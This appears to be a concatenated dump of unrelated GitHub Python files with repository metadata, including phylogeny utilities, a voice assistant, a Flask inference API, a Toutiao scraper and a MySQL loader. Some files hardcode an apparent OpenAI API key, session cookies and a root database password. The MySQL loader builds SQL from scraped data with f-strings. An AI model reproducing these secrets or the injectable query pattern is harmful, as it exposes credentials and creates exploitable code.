getTreeFromPhyloxml(xml, saveToFile=\"default.xml\", delFile=True):\n \"\"\"\n Read a phylogeny tree from a phyloxml string and return a TreeClass object\n or a list of TreeClass object\n \"\"\"\n project = Phyloxml()\n fo = open(saveToFile, \"w+\")\n fo.write(xml)\n fo.close()\n project.build_from_file(saveToFile)\n treeList = []\n for tree in project.get_phylogeny():\n treeList.append(TreeClass.import_from_PhyloxmlTree(tree))\n\n if(delFile):\n os.remove(saveToFile)\n if len(treeList) == 1:\n return treeList[0]\n return treeList\n\n\ndef resetNodeName(tree, sep, spec_pos):\n spec_pos *= -1\n for x in tree.traverse():\n x.name = x.name.split(sep)[spec_pos]\n return tree\n\n\ndef makeRandomTree(names=list(string.lowercase), contract_seuil=0, feature_to_contract='support', random_branches=False):\n \"\"\"Make a random Gene Tree\"\"\"\n tree = TreeClass()\n tree.populate(\n len(names), names_library=names, random_branches=random_branches)\n tree.contract_tree(seuil=contract_seuil, feature=feature_to_contract)\n return tree\n\n\ndef getSpecieCount(tree):\n \"\"\"Species distribution in the genetree\"\"\"\n count = ddict(int)\n for node in tree.get_children():\n count[node.species] += 1\n return count\n\n\ndef getReverseMap(lcamap, use_name=False):\n \"\"\"Get reverse map from specie to gene\"\"\"\n reversedmap = ddict(list)\n for (g, s) in lcamap.items():\n if(use_name):\n reversedmap[s.name].append(g)\n else:\n reversedmap[s].append(g)\n return reversedmap\n\n\ndef getImageTreeNode(genetree, specietree, lcamap):\n \"\"\" Get the specie image tree node of a genetree\"\"\"\n\n # get pre(s) for each node in specietree\n reversedmap = getReverseMap(lcamap)\n # Traverse G in df order and set ih to 0 for internal node\n for node in genetree.iter_internal_node(\"levelorder\", enable_root=True):\n node.add_features(i_h=0)\n\n # Arange the children of each node in G according to the position of their images\n # in post-order traversal of S\n for snode in specietree.traverse(\"postorder\"):\n for gnode in reversedmap[snode]:\n p_gnode = gnode.up\n if(p_gnode):\n gnode_ind = [x for x in xrange(len(p_gnode.children)) if p_gnode.children[\n x] == gnode][0]\n p_gnode.children[gnode_ind], p_gnode.children[\n p_gnode.i_h] = p_gnode.children[p_gnode.i_h], p_gnode.children[gnode_ind]\n p_gnode.i_h += 1\n\n # compute B(s) that contains all the gene tree nodes g / s in I(g) for s\n # in S\n B_array = ddict(list)\n for node in genetree.traverse(\"postorder\"):\n childlist = node.get_children()\n for child in childlist:\n B_array[lcamap[child]].append(node)\n for i in xrange(0, len(childlist) - 1):\n B_array[getLca(specietree, [lcamap[childlist[i]],\n lcamap[childlist[i + 1]]])].append(node)\n\n # Store all the specie tree nodes of the compresses child-image subtree I(g)\n # and construct all I(g)\n # At this step, we are actually certain that the euler tour of S was\n # already computed\n image_tree_nodes = ddict(list)\n for s in specietree.ind2node:\n for h in B_array[s]:\n image_tree_nodes[h].append(s)\n\n # Here we are going to construct the tree\n image_tree = {}\n for node in genetree.traverse(\"postorder\"):\n nodecopied = {}\n if not image_tree_nodes[node]:\n continue\n el1 = image_tree_nodes[node].pop()\n a = el1._copy_node(features=['name', 'depth'])\n nodecopied[el1] = a\n while len(image_tree_nodes[node]) > 0:\n el2 = image_tree_nodes[node].pop()\n b = nodecopied.get(el2, None)\n if not b:\n b = el2._copy_node(features=['name', 'depth'])\n nodecopied[el2] = b\n if (a != b):\n if a.depth < b.depth:\n if(b not in a.get_children()):\n a.add_child(b)\n elif a.depth > b.depth:\n if(a not in b.get_children()):\n b.add_child(a)\n a = b\n image_tree[node] = a.get_tree_root()\n return image_tree\n\n\ndef getSpecieGeneMap(genetree, specietree):\n \"\"\"Find the reversed map (map between specietree node and genetree node)\"\"\"\n mapGene = {}\n for node in specietree.traverse():\n mapGene[node] = genetree.search_nodes(species=node.name)\n\n return mapGene\n\n\ndef treeHash(tree, addinfos=''):\n \"\"\"Hashing the tree based on the sorted node name\"\"\"\n newick_str = re.sub(\n \"(?<=\\()([^()]+?)(?=\\))\", lambda m: \",\".join(sorted(m.group(1).split(\",\"))), tree.write(format=9))\n # print \"newick: \", tree.write(format=9), \"parsing: \", newick_str\n return hashlib.sha384(newick_str + addinfos).hexdigest()\n\n\ndef newickPreprocessing(newick, gene_sep=None):\n \"\"\"Newick format pre-processing in order to assure its correctness\"\"\"\n DEF_SEP_LIST = [';;', '-', '|', '%', ':', ';', '+', '/']\n\n if isinstance(newick, basestring):\n if os.path.exists(newick):\n nw = open(newick, 'rU').read()\n else:\n nw = newick\n nw = nw.strip()\n if nw.endswith(';'):\n nw = nw[:-1]\n\n if gene_sep is None:\n i = 0\n while i < len(DEF_SEP_LIST) and DEF_SEP_LIST[i] not in nw:\n i += 1\n if i < len(DEF_SEP_LIST):\n gene_sep = '%%'\n nw = nw.replace(DEF_SEP_LIST[i], gene_sep)\n\n elif i >= len(DEF_SEP_LIST) or ';' in nw:\n raise NewickError(\n 'Unable to format your newick file, Bad gene-specie separator or too much special chars')\n nw += ';'\n return nw, gene_sep\n else:\n raise NewickError(\n \"'newick' argument must be either a filename or a newick string.\")\n\n\ndef polySolverPreprocessing(genetree, specietree, distance_mat, capitalize=False, gene_sep=None, specie_pos=\"postfix\", nFlagVal=1e305, nFlag=False, smap=None, errorproof=False):\n \"\"\"Preprocess genetree for polytomysolver\n \"\"\"\n\n # genetree input\n speciemap = None\n if isinstance(genetree, basestring) and not smap:\n genetree, gene_sep = newickPreprocessing(genetree, gene_sep)\n genetree = TreeClass(genetree)\n\n elif smap:\n if isinstance(smap, dict):\n speciemap = smap\n else:\n genetree = TreeClass(genetree) if isinstance(\n genetree, basestring) else genetree\n regexmap = {}\n speciemap = {}\n with open(smap, 'rU') if isinstance(smap, basestring) else smap as INPUT:\n for line in INPUT:\n g, s = line.strip().split()\n if ('*') in g and '.*' not in g:\n g = g.replace('*', '.*')\n g_regex = re.compile(g, re.IGNORECASE)\n regexmap[g_regex] = s\n\n for leaf in genetree:\n for key, value in regexmap.iteritems():\n if key.match(leaf.name):\n speciemap[leaf.name] = value\n\n genetree.set_species(\n speciesMap=speciemap, sep=gene_sep, capitalize=capitalize, pos=specie_pos)\n\n # genetree check\n if len(genetree) != len(set(genetree.get_leaf_names())):\n tmp_leaf_name = genetree.get_leaf_names()\n duplicates = set(\n [x for x in tmp_leaf_name if tmp_leaf_name.count(x) > 1])\n raise ValueError(\n \"Your polytomy contains the following gene multiple times : %s\" % \", \".join(duplicates))\n\n # specietree input\n if isinstance(specietree, basestring):\n specietree, sep = newickPreprocessing(specietree, '')\n specietree = TreeClass(specietree)\n specietree.label_internal_node()\n\n # distance matrice input\n if(distance_mat):\n if isinstance(distance_mat, basestring):\n gene_matrix, node_order = clu.distMatProcessor(\n distance_mat, nFlagVal, nFlag)\n else:\n # distance mat is provided as a boolean\n # in that case, just try to get it from the genetree\n gene_matrix, node_order = get_distance_from_tree(genetree)\n # Difference check 1\n # pos = node_order.index('ENSDORP00000008194_dordii')\n # print node_order\n # print gene_matrix[pos, :]\n listerr = set(node_order).symmetric_difference(\n set(genetree.get_leaf_names()))\n if listerr:\n if not errorproof:\n raise ValueError(\n \"Different genes in distance matrix and genetree\\n : See symmetric difference : %s\\n\" % \", \".join(listerr))\n else:\n if gene_sep:\n resetNodeName(genetree, gene_sep, specie_pos == 'postfix')\n else:\n exib1 = set(node_order).difference(\n set(genetree.get_leaf_names()))\n exib2 = set(genetree.get_leaf_names()\n ).difference(set(node_order))\n if exib2:\n raise Exception(\n 'Genes in trees and not in matrix : %s' % (exib2))\n elif exib1:\n print(\"Genes in matrix and not in tree : %s \\nAttempt to correct distance matrix\" % (\n \", \".join(exib1)))\n for l in exib1:\n try:\n lpos = node_order.index(l)\n gene_matrix = clu.remove_ij(\n gene_matrix, lpos, lpos)\n del node_order[lpos]\n except:\n raise IndexError(\n \"Could not remove gene %s from distance matrix\" % l)\n\n else:\n # This is for debug, will never happen\n raise ValueError(\n \"distance matrix not provided and could not be infered from tree\")\n # gene_matrix = clu.makeFakeDstMatrice(len(node_order), 0, 1)\n\n # Find list of species in genetree but not in specietree\n specieGeneList = set(genetree.get_leaf_species())\n specieList = set([x.name for x in specietree.get_leaves()])\n if(specieGeneList - specieList):\n if len(specieGeneList.intersection(specieList)) == 0 and gene_sep:\n raise Exception(\n \"*** You probably didn't set the correct species position for you input tree !!\")\n raise Exception(\"Species in genetree but not in specietree : %s\" % (\n \", \".join(specieGeneList - specieList)))\n\n return genetree, specietree, gene_matrix, node_order\n\n\ndef exportToOrthoXML(t, database='customdb', handle=sys.stdout):\n \"\"\" This function takes a TreeClass instance and export all\n its speciation and duplication events to the OrthoXML format.\n\n \"\"\"\n\n # Creates an empty orthoXML object\n O = orthoxml.orthoXML()\n\n # Generate the structure containing sequence information\n leaf2id = {}\n sp2genes = {}\n for genid, leaf in enumerate(t.iter_leaves()):\n spname = leaf.species\n if spname not in sp2genes:\n sp = orthoxml.species(spname)\n db = orthoxml.database(name=database)\n genes = orthoxml.genes()\n sp.add_database(db)\n db.set_genes(genes)\n sp2genes[spname] = genes\n # add info to the orthoXML document\n O.add_species(sp)\n else:\n genes = sp2genes[spname]\n\n gn = orthoxml.gene(protId=leaf.name, id=genid)\n leaf2id[leaf] = genid\n genes.add_gene(gn)\n\n # Add an ortho group container to the orthoXML document\n ortho_groups = orthoxml.groups()\n O.set_groups(ortho_groups)\n\n # OrthoXML does not support duplication events at the root\n # of the tree, so we search for the top most speciation events in\n # the tree and export them as separate ortholog groups\n for speciation_root in t.iter_leaves(is_leaf_fn=(lambda n: getattr(n, 'type', \"\") == \"S\" or not n.children)):\n # Creates an orthogroup in which all events will be added\n node2event = {}\n node2event[speciation_root] = orthoxml.group()\n ortho_groups.add_orthologGroup(node2event[speciation_root])\n\n # if root node is a leaf, just export an orphan sequence within the\n # group\n if speciation_root.is_leaf():\n node2event[speciation_root].add_geneRef(\n orthoxml.geneRef(leaf2id[speciation_root]))\n\n # otherwise, descend the tree and export orthology structure\n for node in speciation_root.traverse(\"preorder\"):\n if node.is_leaf():\n continue\n parent_event = node2event[node]\n for ch in node.children:\n if ch.is_leaf():\n parent_event.add_geneRef(orthoxml.geneRef(leaf2id[ch]))\n else:\n node2event[ch] = orthoxml.group()\n\n if not (ch.has_feature('type') or ch.has_feature('dup')):\n raise AttributeError(\n \"\\n\\nUnknown evolutionary event. %s\" % ch.get_ascii())\n\n if(ch.type == TreeClass.SPEC):\n parent_event.add_orthologGroup(node2event[ch])\n elif ch.type in TreeClass.DUP:\n parent_event.add_paralogGroup(node2event[ch])\n else:\n raise AttributeError(\n \"\\n\\Internals nodes labeled by losses are not expected in the orthoXML format\")\n\n O.export(handle, 0, namespace_=\"\")\n\n\ndef generateSmap(specietree, output=\"smap\", relaxed=False, suffix=\"\"):\n \"\"\"\n Generate a specie map from genetree and specietree\n \"\"\"\n gene_to_spec_map = []\n specie_names = specietree.get_leaf_names()\n for name in specie_names:\n if(relaxed):\n genes = re.compile(\".*\" + name + suffix + \".*\", re.IGNORECASE)\n else:\n genes = re.compile(\"^\" + name + suffix + \".*\", re.IGNORECASE)\n gene_to_spec_map.append([genes.pattern, name])\n with open(output, \"w\") as f:\n f.writelines('\\t'.join(line) + \"\\n\" for line in gene_to_spec_map)\n\n\ndef customTreeCompare(original_t, corrected_t, t):\n\n # Leaves remaining test and original binary node test\n ct_leaves = []\n t_leaves = []\n t_binary = []\n success = []\n ct_binary = []\n for node in original_t.traverse(\"levelorder\"):\n desc_name = set(node.get_leaf_names())\n ct_parent = corrected_t.get_common_ancestor(desc_name)\n t_parent = t.get_common_ancestor(desc_name)\n ctl = set(ct_parent.get_leaf_names())\n tl = set(t_parent.get_leaf_names())\n ct_leaves.append(ctl.difference(desc_name))\n t_leaves.append(tl.difference(desc_name))\n if(node.is_binary() and not node.has_polytomies()):\n ct_binary.append(ct_parent.robinson_foulds(node)[0:3])\n t_binary.append(t_parent.robinson_foulds(node)[0:3])\n success.append(len(tl.difference(ctl)) < 1)\n\n ct_success = filter(None, map(lambda x: len(x) < 1, ct_leaves))\n t_success = filter(None, map(lambda x: len(x) < 1, t_leaves))\n\n print(\"\\nCorrected Tree binary list rf_fould\\n\")\n print(\"\\n\".join(map(lambda x: \"\\t\".join([str(v) for v in x]), ct_binary)))\n print(\"\\nTree binary list rf_fould\\n\")\n print(\"\\n\".join(map(lambda x: \"\\t\".join([str(v) for v in x]), t_binary)))\n\n if(len(ct_success) == len(ct_leaves)):\n print(\"**Leave remaining success for corrected tree\")\n print(\"\\n\".join([str(h) for h in t_success]))\n\n else:\n print(\"**Corrected tree doesn't follow patern\")\n print(\"\\n\".join(map(lambda x: \"\\t\".join(\n [str(v) for v in x]), ct_leaves)))\n\n if(len(t_success) == len(t_leaves)):\n print(\"**Leave remaining success for tree\")\n # print \"\\n\".join([str(h) for h in t_success])\n else:\n print(\"**Tree doesn't follow patern\")\n # print \"\\n\".join(map(lambda x: \"\\t\".join([str(v) for v in x]),\n # t_leaves))\n\n print(\"**Compatibility test between tree: \", all(success))\n","repo_name":"maclandrol/profileNJ","sub_path":"profileNJ/TreeLib/TreeUtils.py","file_name":"TreeUtils.py","file_ext":"py","file_size_in_byte":45558,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"67"} +{"seq_id":"74687330773","text":"import astra\nimport numpy as np\nimport cv2\nimport matplotlib.pyplot as plt\nimport scipy\nImgSize=256\nvol_geom = astra.create_vol_geom(ImgSize, ImgSize)\nproj_geom = astra.create_proj_geom('parallel', 1, 512, np.linspace(0,2*np.pi,128,False))\n\n# For CPU-based algorithms, a \"projector\" object specifies the projection\n# model used. In this case, we use the \"line\" model.\nproj_id = astra.create_projector('line', proj_geom, vol_geom)#line\n\n# Generate the projection matrix for this projection model.\n# This creates a matrix W where entry w_{i,j} corresponds to the\n# contribution of volume element j to detector element i.\nmatrix_id = astra.projector.matrix(proj_id)\n\n# Get the projection matrix as a Scipy sparse matrix.\nW = astra.matrix.get(matrix_id)\nimport scipy.io as sio\nX=sio.loadmat(\"ruijin2my.mat\")[\"X\"][:,:,4]\nY=W.dot(X.ravel())\nY=np.reshape(Y,[128,512])\nplt.imshow(Y,cmap='gray')\nplt.axis(\"off\")\nplt.savefig(str(4)+\".png\",bbox_inches=\"tight\",pad_inches=0.0)\n# plt.show()\nexit()\nsio.savemat(\"a.mat\",{\"Y\":Y})\n# Manually use this projection matrix to do a projection:\n\nP = scipy.io.loadmat('phantom.mat')['phantom256']\n# P = scipy.io.loadmat('ruijin2my.mat')['X'][:,:,0]\ns = W.dot(P.ravel())\ns = np.reshape(s, (len(proj_geom['ProjectionAngles']),proj_geom['DetectorCount']))\n\nplt.gray()\nplt.figure(\"dsfa\")\nplt.axis('off')\nplt.imshow(Y)\nplt.show()\nimport pylab\npylab.gray()\npylab.figure(1)\npylab.imshow(s)\npylab.show()\n\n# Each row of the projection matrix corresponds to a detector element.\n# Detector t for angle p is for row 1 + t + p*proj_geom.DetectorCount.\n# Each column corresponds to a volume pixel.\n# Pixel (x,y) corresponds to column 1 + x + y*vol_geom.GridColCount.\n\n\nastra.projector.delete(proj_id)\nastra.matrix.delete(matrix_id)","repo_name":"scuchenxiang/Medical_Imaging","sub_path":"AstraMatrix.py","file_name":"AstraMatrix.py","file_ext":"py","file_size_in_byte":1743,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"322807068","text":"import pywhatkit\r\nimport webbrowser as web\r\nimport speech_recognition as sr\r\nimport wikipedia as googleScrap\r\nimport pyttsx3\r\nimport openai\r\nimport os\r\nAPI_KEY = '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'\r\n\r\nlistener = sr.Recognizer()\r\nengine = pyttsx3.init()\r\nvoices = engine.getProperty('voices')\r\nengine.setProperty('voice', voices[1].id)\r\n\r\n\r\ndef speak(text):\r\n print(text)\r\n engine.say(text)\r\n engine.runAndWait()\r\n\r\ndef g_search(prompt):\r\n prompt = prompt.replace(\"google search\", \"\")\r\n prompt = prompt.replace(\"search\", \"\")\r\n prompt = prompt.replace(\"google\", \"\")\r\n speak(\"This is what i Found on Internet\")\r\n pywhatkit.search(prompt)\r\n try:\r\n result = googleScrap.summary(prompt, 4)\r\n return result\r\n except Exception as e:\r\n result = \"No Speakable Data Available\"\r\n return result\r\n\r\ndef openqu(term):\r\n prompt = term\r\n os.environ['OPENAI_Key'] = API_KEY\r\n openai.api_key = os.environ['OPENAI_Key']\r\n response = openai.Completion.create(engine='text-davinci-003', prompt=prompt, max_tokens=50, temperature=0.7)\r\n ans = (response['choices'][0]['text'])\r\n return ans\r\n\r\ndef Youtube(term):\r\n result = f\"https://www.youtube.com/results?search_query={term}\"\r\n # print(result)\r\n web.open(result)\r\n # speak(\"This is what I found\")\r\n\r\ndef Youtube_lat(term):\r\n # result = f\"https://www.youtube.com/results?search_query={term}\"\r\n # print(result)\r\n pywhatkit.playonyt(term)\r\n","repo_name":"ARNAB-BOTMAS/Srishti_project","sub_path":"features.py","file_name":"features.py","file_ext":"py","file_size_in_byte":1480,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"32343216695","text":"import unittest\nfrom content_provider import expandVars\n\nclass Test(unittest.TestCase):\n\n\n def testExpandVars(self):\n context = {\n \"user\": \"user\"\n }\n self.assertEquals(expandVars(\"/var/run/${user}\", context), \"/var/run/user\") \n \n\n\nif __name__ == \"__main__\":\n #import sys;sys.argv = ['', 'Test.testName']\n unittest.main()","repo_name":"hardening/pysession-manager","sub_path":"tests/test_utils.py","file_name":"test_utils.py","file_ext":"py","file_size_in_byte":368,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"67"} +{"seq_id":"8561273703","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Feb 18 18:56:26 2019\n\n@author: Shihab\n\"\"\"\nfrom math import ceil\n\nroad,n=map(int,input().split())\ncase=1\n\nwhile n or road:\n if road>27*n:\n print(\"Case \"+str(case)+\": impossible\")\n else:\n print(\"Case \"+str(case)+\": \"+str(int(ceil((road-n)/n))))\n \n road,n=map(int,input().split())\n case+=1","repo_name":"kmshihabuddin/Programming","sub_path":"Uva Problems/Mathematics/Adhoc problems/Simpler ones/P11723.py","file_name":"P11723.py","file_ext":"py","file_size_in_byte":362,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"30999733851","text":"# File for the chi square feature selection algorithm\nimport pandas as pd\nfrom scipy.stats import chi2_contingency\n\n# The function which will be called\ndef get_features(raw_data, raw_ids, debug, run, alpha=0.15):\n\t'''\n\tThis function will take in the raw data and the correct label for each row\n\tand compute which columns are not needed in predicting the correct person.\n\tWill return the names of the needed columns\n\t'''\n\n\t# Create data frame from data\n\tdf = pd.DataFrame(raw_data)\n\tdf[\"person\"] = raw_ids\n\n\t# For each column in the data frame\n\treturn_columns = []\n\tindex = 0\n\tfor column in df:\n\t\t# dont check person column\n\t\tif column == \"person\":\n\t\t\tcontinue\n\n\t\t# Calculate statistics\n\t\tX = df[column].astype(str)\n\t\tY = df[\"person\"].astype(str)\n\t\tdf_observed = pd.crosstab(X, Y) \n\t\tchi2, p, dof, expected = chi2_contingency(df_observed.values)\n\n\t\t# Decide to keep column\n\t\tif p < alpha:\n\t\t\treturn_columns.append(index)\n\n\t\t# update index\n\t\tindex += 1\n\n\t# return\n\tdebug += \"Chi Square with alpha: \" + str(alpha) + \"\\n\"\n\tdebug += \"CHI SQUARED: Suggesting: \" + str(len(return_columns)) + \" columns out of \" + str((len(df.columns) - 1)) + \"\\n\"\n\treturn return_columns, debug\n","repo_name":"subhro101/Effective-touch-dynamics-feature","sub_path":"chi_square.py","file_name":"chi_square.py","file_ext":"py","file_size_in_byte":1170,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"41954430669","text":"# Write a function to check whether given string is a pallindrome or not\n\ndef isPallindrome(s):\n t = s.lower()\n left = 0\n right = len(t) - 1\n\n while right >= left:\n if t[left] == '':\n left += 1\n if t[right] == '':\n right -= 1\n if t[left] != t[right]:\n return False\n left += 1\n right -= 1\n return True\n\n\nprint(isPallindrome('Madam'))\nprint(isPallindrome('yash'))\n\n\n\n\n","repo_name":"therealyash/Coding-Programs","sub_path":"Coding Programs/Programs/Pallindrome Function.py","file_name":"Pallindrome Function.py","file_ext":"py","file_size_in_byte":449,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"21759204489","text":"from flask import Blueprint, request\nfrom src.constants import AGGREGATOR_MODEL_PATH\nfrom src.models.aggregator_model import AggregatorModel\nimport numpy as np\nfrom flask import jsonify\nimport json\n# from bson import json_util\n\nmodel = AggregatorModel()\nmodel.load(AGGREGATOR_MODEL_PATH)\nblueprint = Blueprint('api', __name__, url_prefix='/api')\n\n@blueprint.route('/')\n@blueprint.route('/index')\ndef index():\n return \"CARD FRAUD DETECTION API - INFERENCE BLUEPRINT\"\n\n\n@blueprint.route('/inference', methods=['GET', 'POST'])\ndef run_inference():\n from src.api.app import Transaction\n from src.api.db import db \n if request.method == 'POST':\n features = np.array(request.json).reshape(1, -1)\n prediction = model.predict(features)\n target=prediction[0]\n #store data on SQLite Table\n print(features)\n features = [str(x) for x in features[0]]\n trans = Transaction(features=features, prediction=str(target))\n db.session.add(trans)\n db.session.commit()\n return str(prediction[0])\n elif request.method == 'GET':\n transactions = Transaction.query.all()\n dictio = {}\n i=1\n for tr in transactions:\n dictio[str(i)]=json.loads(str(tr))\n i+=1\n \n return dictio\n\n","repo_name":"sohaibber/python-data-OCTO","sub_path":"src/api/inference_routes.py","file_name":"inference_routes.py","file_ext":"py","file_size_in_byte":1304,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"70972273494","text":"import re\nimport time\nimport requests\nfrom urllib.parse import urlencode\nfrom concurrent.futures import ThreadPoolExecutor, wait, ALL_COMPLETED\n\ndef get_page(key_args):\n\t\n\tparams = {\n\t\t\"aid\":\"24\",\n\t\t\"app_name\":\"web_search\",\n\t\t\"offset\":key_args.get(\"page\"),\n\t\t\"format\":\"json\",\n\t\t\"keyword\":key_args.get(\"keyword\"),\n\t\t\"autoload\":\"true\",\n\t\t\"count\":\"20\",\n\t\t\"en_qc\":\"1\",\n\t\t\"cur_tab\":\"1\",\n\t\t\"from\":\"search_tab\",\n\t\t\"pd\":\"synthesis\",\n\t\t\"timestamp\":str(int(round(time.time()*1000))),\n\n\t}\n\n\theaders = {\n\t\t\"accept\": \"application/json, text/javascript\",\n\t\t\"accept-encoding\": \"gzip, deflate, br\",\n\t\t\"accept-language\": \"zh-CN,zh;q=0.9\",\n\t\t\"content-type\": \"application/x-www-form-urlencoded\",\n\t\t\"referer\": \"https://www.toutiao.com/search/?\"+urlencode({\"keyword\":key_args.get(\"keyword\")}),\n\t\t\"sec-fetch-mode\": \"cors\",\n\t\t\"sec-fetch-site\": \"same-origin\",\n\t\t\"user-agent\": \"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36\",\n\t\t\"x-requested-with\": \"XMLHttpRequest\",\n\t\t\"cookie\":\"csrftoken=fe7c26a51c9a0f2486c5de1431c1824f; tt_webid=6673058755394160136; WEATHER_CITY=%E5%8C%97%E4%BA%AC; tt_webid=6673058755394160136; _ga=GA1.2.1406610621.1554379381; CNZZDATA1259612802=479162514-1541834355-%7C1568590246; s_v_web_id=19f22d86c87cae290348f1bcf67fdbb5; __tasessionId=4pceh62t11573970503028\",\n\t}\n\turl = \"https://www.toutiao.com/api/search/content/?\"+urlencode(params)\n\t\n\tproxies = requests.get(url=\"http://49.235.221.86:5010/get/\")\n\tmy_proxy = {\n\t\t\"http\":\"http://\"+str(proxies.json().get(\"proxy\")),\n\t\t#\"https\":\"https://\"+str(proxies.json().get(\"proxy\"))\n\n\t}\n\tresponse = requests.get(url=url,headers=headers,proxies=my_proxy)\n\ttry:\n\n\t\tif response.status_code == 200:\n\t\t\thtml = response.json()\n\t\t\tif html.get(\"data\") is not None:\n\t\t\t\turls = []\n\t\t\t\tfor item in html.get(\"data\"):\n\t\t\t\t\tif item.get(\"title\") is not None and item.get(\"article_url\") is not None:\n\t\t\t\t\t\turls.append(item.get('article_url'))\n\t\t\t\treturn urls\n\texcept RequestException:\n\t\tprint(\"请求索引页出错\")\n\t\treturn None\n\ndef mutithreading(func,max_workers,args):\n\n\tevent = []\n\twith ThreadPoolExecutor(max_workers=max_workers) as executor:\n\t\tfor urls in executor.map(func,args):\n\t\t\tfor data in executor.map(get_down,urls):\n\t\t\t\tbreak\n\t\t\ndef get_down(url):\n\tprint(url)\n\theaders = {\n\t\t\"accept\": \"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3\",\n\t\t\"accept-encoding\": \"gzip, deflate, br\",\n\t\t\"accept-language\": \"zh-CN,zh;q=0.9\",\n\t\t\"cache-control\": \"max-age=0\",\n\t\t\"cookie\": \"csrftoken=fe7c26a51c9a0f2486c5de1431c1824f; tt_webid=6673058755394160136; WEATHER_CITY=%E5%8C%97%E4%BA%AC; tt_webid=6673058755394160136; _ga=GA1.2.1406610621.1554379381; CNZZDATA1259612802=479162514-1541834355-%7C1568590246; s_v_web_id=19f22d86c87cae290348f1bcf67fdbb5; ccid=afb2a720c31c1e62ddba9892c095b228; sso_auth_status=074b4c23aa90b6b0931c3182e3429d69; sso_uid_tt=9c505cdf04b23502b18072e3f1e563e7; toutiao_sso_user=eb69ecf3ff5e6894ade827ddd1a42707; passport_auth_status=dfa13a2f0c39bc82bfda90caf90645f1%2Cbd3424c5fe7f408d98dd5745f2cf63de%2C; sid_guard=c529d32e0699dcc8ebdda092f086a343%7C1573973805%7C5184000%7CThu%2C+16-Jan-2020+06%3A56%3A45+GMT; sid_tt=c529d32e0699dcc8ebdda092f086a343; sessionid=c529d32e0699dcc8ebdda092f086a343; uid_tt=9bf55981a51c21332cdcd063f13c01e932b04856fa07fd4c72e59a0d24bfca1a; __tea_sdk__ssid=undefined; __tasessionId=roz22lcye1573984493752\",\n\t\t#\"referer\": \"https://www.toutiao.com/search/?keyword=%E8%A1%97%E6%8B%8D\",\n\t\t\"sec-fetch-mode\": \"navigate\",\n\t\t\"sec-fetch-site\": \"same-origin\",\n\t\t\"sec-fetch-user\": \"?1\",\n\t\t\"upgrade-insecure-requests\": \"1\",\n\t\t\"user-agent\": \"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36\",\n\t}\n\n\tresponse = requests.get(url,headers=headers)\n\tif response.status_code == 200:\n\t\t#print(response.text)\n\t\tpattern = re.compile('(.*?)',re.S)\n\t\tresults =re.search(pattern,response.text)\n\t\tprint(results) \ndef main(pages,keyword):\n\t\n\targs = [{\"page\":page,\"keyword\":keyword} for page in range(pages+1)]\n\thtml = mutithreading(get_page,1,args)\n\t\n\t\n\nif __name__ == '__main__':\n\t\n\turl_lists = main(pages=1,keyword=\"街拍\")\n\n\t\n\n\n\n","repo_name":"if-always/Spideritems","sub_path":"Toutiao/Jiepai_img/Ajax.py","file_name":"Ajax.py","file_ext":"py","file_size_in_byte":4218,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"69865910935","text":"def solve(M, K, time):\n time.sort()\n for i, t in enumerate(time):\n able = (t//M) * K - i\n if able == 0:\n return False\n return True\n\nT = int(input())\nfor test_case in range(1, T + 1):\n N, M, K = map(int, input().split())\n time = list(map(int, input().split()))\n answer = \"Impossible\"\n if solve(M, K, time):\n answer = \"Possible\"\n print(f\"#{test_case} {answer}\")\n","repo_name":"eun-byeol/algorithm","sub_path":"python/implementation/1860_진기의_최고급_붕어빵.py","file_name":"1860_진기의_최고급_붕어빵.py","file_ext":"py","file_size_in_byte":416,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"23844288050","text":"import requests\nimport json\nimport pymysql\n\ndef jsonOpen(directory):\n with open(directory, \"r\") as f:\n data = json.load(f)\n return data\ndef jsonSave(directory,result):\n with open(directory, \"w\") as f:\n json.dump(result, f, ensure_ascii=False,indent=4)\n\n# pip install PyMySQL\ncon = pymysql.connect(host='localhost', user='root', password='00000000',db='dogListApi', charset='utf8') # 한글처리 (charset = 'utf8')\n# STEP 3: Connection 으로부터 Cursor 생성\ncur = con.cursor()\n\ntargetList = ['resultFromGovernmentAPI.json','resultFromInstagramAddInfoTest.json','resultFromZooseyoAddInfo.json']\n\nfor j in range(len(targetList)):\n target = jsonOpen(targetList[j])\n dataFrom = ''\n if j == 0:\n for i in target:\n # STEP 4: SQL문 실행 및 Fetch\n sql = f\"INSERT INTO dogList(date, location, age, gender, breed, imageLink, dataFrom, webLink) VALUES('{i['date']}','{i['location']}','{i['age']}','{i['gender']}','{i['breed']}','{i['imageLink']}','{i['careName']}','{i['webLink']}');\"\n cur.execute(sql)\n con.commit()\n elif j == 1:\n for i in target:\n # STEP 4: SQL문 실행 및 Fetch\n sql = f\"INSERT INTO dogList(date, location, age, gender, breed, imageLink, dataFrom, webLink) VALUES('{i['date']}','{i['location']}','{i['age']}','{i['gender']}','{i['breed']}','{i['imageLink']}','instagram','{i['webLink']}');\"\n cur.execute(sql)\n con.commit()\n else:\n for i in target:\n # STEP 4: SQL문 실행 및 Fetch\n sql = f\"INSERT INTO dogList(date, location, age, gender, breed, imageLink, dataFrom, webLink) 